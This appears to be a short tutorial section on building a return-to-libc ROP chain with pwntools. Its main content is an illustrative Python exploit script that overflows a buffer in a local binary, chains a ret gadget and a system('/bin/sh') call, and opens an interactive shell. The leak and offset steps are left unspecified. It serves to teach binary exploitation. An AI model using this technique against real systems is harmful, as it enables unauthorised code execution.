pwntools Does the Bookkeeping: ROP()
The ROP object finds gadgets and assembles the chain for you.
Illustrative (fragile) example — real addresses depend on the target:
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
# ... obtain a leak, then set libc.address = leaked_base ...
rop = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop.raw(rop.ret) # extra 'ret' for 16-byte alignment
rop.system(binsh) # pwntools sets RDI via pop rdi ; ret
payload = b'A' * offset # overflow up to saved RIP
payload += rop.chain() # the ROP chain bytes
io = elf.process()
io.sendline(payload)
io.interactive() # enjoy your shell